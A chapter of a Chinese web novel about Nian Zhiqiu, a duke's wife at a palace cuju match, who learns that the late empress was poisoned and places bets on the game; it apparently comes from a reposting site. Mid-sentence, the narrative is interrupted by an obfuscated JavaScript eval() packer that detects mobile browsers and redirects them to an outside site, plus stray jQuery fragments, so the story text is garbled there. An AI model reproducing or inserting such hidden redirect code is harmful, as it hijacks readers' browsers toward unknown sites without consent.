45. 第45章

作品:《为姐姐嫁给国公爷后

    江澜序黑眸深深,反而更加用力握住她的手,年知秋一时间挣脱不开。


    这人真是……


    他牵着她的手往一旁走去。


    将大夫人谢淑君和李时珠撇在身后。


    在场不少人朝他们两人看过来,年知试图反抗,反抗失败。


    两人走到一处偏僻的花丛,像是避开人过来幽会的情人,


    “国公爷是有什么事情吗?”


    年知秋抬头四处张望,不知道他为什么要带她偷偷摸摸来这里,是有什么事情不能正大光明地说吗?


    江澜序拖着她的脑袋,在她额头上落下一吻,把年知秋惊呆在原地。


    不是,这个男人在干什么?


    看着年知秋瞪大一双美眸,很是不可思议的模样,江澜序将薄唇抿了抿。


    “近日宫中事务繁忙,没有时间陪伴夫人,望夫人不要跟我置气。”


    ?


    置气?


    她吗?


    什么时候?


    年知秋对江澜序的话充满迷茫。


    “我并没有同国公爷置气。”


    她甚至不知道什么时候同他置气。


    江澜序见她态度冷淡,自圆房后,年知秋的态度跟以前并没有什么变化。


    他觉得跟夫人的关系应该更亲近一点。


    他询问江承言后,江承言告诉他,也许是嫂子在置气,女人都这样。


    江澜序并不希望跟自己的夫人产生隔阂,一直寻找时间,总抽不出空。


    “那晚是让夫人不满意吗?”


    他想许久也没有想到自己夫人跟他置气的原因。


    “咳咳咳!”


    年知秋因为江澜序的话被自己的唾液呛得咳嗽连连。


    不是,这大庭广众之下,这话是能问出口的吗?


    不是说京城人含蓄吗?含蓄哪里去?


    “挺好的。”


    这男人是脑子抽筋,放着正事不干,拉着她在这里扯这些话。


    “国公爷忙去吧,我会照顾好我自己,不用担心。”


    知道他要和太子带队参加蹴鞠比赛,不想耽误他。


    而她也不习惯在没事的时候和这个男人相处,尤其是还时不时想起两人亲密时候的情形,她没办法做到跟这个男人一样自在。


    她想抽出手,江澜序还是拉着她,眼睛看着她,还是觉得她在置气。


    年知秋想破脑袋也没想明白,她到底做什么让江澜序觉得她是在置气,她的表现跟平常并没有什么区别。


    “我真没置气。”她无奈。


    动了动手指,示意他放开,已经有不少人往这里看过来。


    江澜序抓着她的手在她手腕上亲了亲,松开她。


    “夫人,你就坐在那个位置,等蹴鞠比赛结束后我来找你。”


    江澜序为年知秋挑选一个绝好的位置,能将蹴鞠赛场的风光看得一清二楚。


    京城果然比边塞繁华精致,连蹴鞠赛场都修建得如此恢宏大气。


    小梅捧着一碟梅子兴致高扬,“夫人,宫中就是好,就是在外面看蹴鞠比赛也有这么多糕点和梅子。”


    年知秋伸手将一颗梅子放进嘴里,酸酸甜甜,是她在边塞没有尝过的滋味。


    “你也吃。”


    “夫人,那我就不客气。”


    她挑起梅子放进嘴里,细细地享受着梅子的味道,高兴地摇晃脑袋。


    “切,没见过世面的主仆。”


    有道嚣张跋扈的声音传过来,正是陈照夕,她坐在年知秋不远处,年知秋回头看她一眼。


    然后收回视线,继续吃自己面前的糕点。


    陈照夕见她无视自己,轻蔑地哼一声。


    年知秋真是手段恶毒,就连自己的哥哥都被她算计在床上躺半个月,真是蛇蝎心肠!


    “国公夫人,好久不见。”


    年知秋才刚听见男人的声音,宋迟叙丝毫不避讳地在她身边坐下来,整得两人好像很亲密一样。


    面无表情地朝一旁挪开距离,“你怎么过来?”


    “你那么不待见我?”


    宋迟叙一身华袍,再加上那张脸,张扬得像天上下凡的神仙。


    年知秋是有些迷惑的,宋迟叙长得如此张扬,怎么太子就那么其貌不扬。


    也不是说太子长得丑,真真就和宋迟叙相比,那是普通得再不能普通。


    都说龙生九子各有各不同,虽说宋迟叙不是皇子,都是皇室血脉也大差不差,实在让人感叹。


    “有新消息。”宋迟叙漫不经心地说道,好像跟她说,看,今天的天气真好。


    年知秋正打算继续往一旁挪,担心跟宋迟叙坐一起,显得她其貌不扬,听到他的话,主动往回挪两寸。


    “你查到了什么?”


    宋迟叙扬唇哈哈哈笑着,伸手挑起她落在肩头的长发摸着,“你说,江澜序要是看见我跟你坐在一起会怎么想,他那种人表面什么都不显,心里肯定是不爽极了。”


    年知秋抬着胳膊往宋迟叙的胸口狠狠一撞,“这都什么时候,你还抓着他不放,反正我姐又没有嫁给他,每次都这么多废话!”


    “咳咳咳”宋迟叙被她这胳膊撞得俊美的脸有些扭曲,正经危坐,揉着自己的胸口,“你真是不客气,你是奔着撞死我去的吗?素言就不会这样。”


    他忽然压低声调,用仅可两人能听见的声音说道:“皇后确实不是简单病死。”


    年知秋皱眉,用目光询问先皇后的死因。


    宋迟叙伸出长指在茶杯里面沾茶水在桌子上面写下一个字。


    他写的每一笔画随着下一次笔画的出现消失。


    年知秋还是看清他写的是什么字。


    毒。


    宋迟叙收回手,歪头提醒道:“你的表情不要这么夸张,也许宫中就有盯着你的眼线。”


    年知秋连忙低垂眉眼,将一旁的梅子往他跟前一推,“世子殿下,尝尝这梅子。”


    陈照夕看见两人有说有笑的模样,低声骂道:“不知廉耻。”


    谢淑君瞧见这一幕,“这个年氏还真是有几分勾引人的本事,勾引江澜序也就算了,连世子也被她勾得团团转。”


    李时珠手指合拢,紧握成拳,一言不发。


    谢淑君没好气看她一眼。


    “还有你,比不过一个年氏,要是你能勾引江澜序,替我守住国公府主母的位置,年氏哪里有作威作福的机会!”


    “真不知我先前在你身上浪费这么多心思都有什么用,最后跟个没用的废物一样。”


    李时珠抿紧唇角,依旧没有开口说话,承受着谢淑君的怒火和怨气。


    皇帝在主位坐下,全场的人站起来朝皇帝行礼,皇帝一挥衣袖,“免礼。”


    大家重新在自己的位置上坐好。


    皇帝看到宋迟叙坐在一个女子身边,对着身边的内侍说道:“坐在世子身边的女子是何人?”


    “陛下,那就是国公夫人年氏,先前未赐婚前和世子关系一向不错。”小内侍恭敬回答。


    皇帝闻言皱下眉头,最后感叹一句,“算了,这孩子性子文静,真是难为他。”


    蹴鞠赛场两边一蓝一红的队伍从两边入场。


    小内侍对皇帝道:“陛下,蹴鞠比赛开始了。”


    “好,传朕的命令,让太子和镇国公好好比,赢了朕重重有赏!”


    江澜序头扎着蓝色的绸带,赛场里面的风很大,吹动着他的长发和衣袍飞扬,从他的位置可以很清楚的看见年知秋和宋迟叙正相互低着头交谈,两人相处愉快。


    江承言带好护膝过来,看见江澜序正看着某个方向,顺着他的目光看过去。


    见到年知秋和宋迟叙正有说有笑。


    江承言差点以为是自己的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210046|192611||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼睛出现幻觉,他抬手揉了揉自己的眼睛,“这这……承恩王世子在勾引嫂子?”


    不是勾引,他靠那么近干什么。


    江澜序收回目光,看他一眼,“去做准备。”


    太子那一对扎着是红绸,陈华生是太子的阵营,不少贵族公子都参加,要是在蹴鞠比赛上表现出色,可是大出风头的好机会。


    陈华生伸着手摸了摸自己的胸膛,虽然伤口已经愈合,胸口却留下很长的一段刀疤,那种被匕首捅入皮肉的痛苦他还记得一清二楚,他恨恨往年知秋的方向看过去,却见年知秋居然胆大到和承恩王世子公然坐在一起谈笑。


    “国公爷,听说国公夫人没赐婚前和承恩王世子感情十分深厚,只怕国公夫人的心还另有所属,不把国公爷放在眼里。”他对着江澜序言语颇有暗示。


    他本意不是想去得罪江澜序,而是挑拨年知秋和江澜序的关系。


    他话音落下,却从江澜序眼中看到彻骨的冷意,顿时吓得字眼卡嗓子眼里,再也说不出口,甚至腿脚有些发软。


    这样的江澜序实在令人害怕。


    宋江均走过来对着陈华生的肩头拍拍肩头,“华生,你也去准备比赛。”


    陈华生朝宋江均行礼,“是,太子殿下。”


    他连忙走开。


    “镇国公,父皇安排年氏女嫁给你,使你在贵族和寒门间腹背受敌,就不憋屈吗?”


    宋江均淡淡开口。


    对于太子的话,江澜序装作没听见。


    太子一直致力拉拢他。


    可江澜序心底无比厌恶宋江均。


    “太子殿下,比赛要开始了。”


    宋江均点头,“镇国公,这场我一定要赢你。”


    “是什么毒?”年知秋声音极低。


    宋迟叙左右看了看,对年知秋说道:“回头,我让人拿给你。”


    “你能不能借着江澜序的手查查皇后的死因,涉及宫中的事情,只有皇城司能调查。”


    “近水楼台先得月,你已经是他夫人,使点小手段将他往这个方向引一引。”


    年知秋看他好一会才道,“那我回去想想法子。”


    铛的一声脆响,所有人的目光都落到蹴鞠赛场上。


    年知秋坐直身体,目光落到蹴鞠赛场上。


    小太监举着铜锣站在中间,看了看两边蓄势待发的队伍,将手中的铜锣狠狠一敲,“第一场,开始!”


    两方骑马追着场内的蹴鞠而去,两方队伍混战在一起抢夺蹴鞠。


    “去年太子输给江澜序,看今年这架势,说不定江澜序今年会输。”


    宋迟叙转头,见年知秋脸上没有什么表情,“你不担心他会输吗?”


    年知秋伸手再次把梅子放进自己的嘴里,“他输了,又不是死了,我担心什么?”


    “你要知道这蹴鞠比赛可是陛下举办的,赢者不但有皇帝的赏赐,会在京城扬名,今年这场比赛,百姓都押注江澜序。”


    “还有这种回事?”


    年知秋饶有兴趣地摸了摸下巴。


    “怎么,你想下注?”


    “你今年押谁?”


    宋迟叙突然不说话,年知秋说道:“是江澜序吗?”


    看到宋迟叙的神情她就知道,乐得张嘴笑了笑,“你不是对江澜序的意见吗?怎么还押他赢。”


    宋迟叙被她揭穿,夺过她手中的碟子,吃起梅子,“谁会跟钱过不去,我看得是钱不是江澜序,你要不要下注?我派人帮你去下。”


    年知秋朝他勾了勾手指,“你帮我去下注太子。”


    “你下注太子?”


    “这么惊讶干什么?我也只看钱。”


    “你想好就行,输了可要不少钱。”


    “怕什么,我是国公夫人,还怕没有钱。”


    宋迟叙抬手招来侍从,“你去为国公夫人下注。”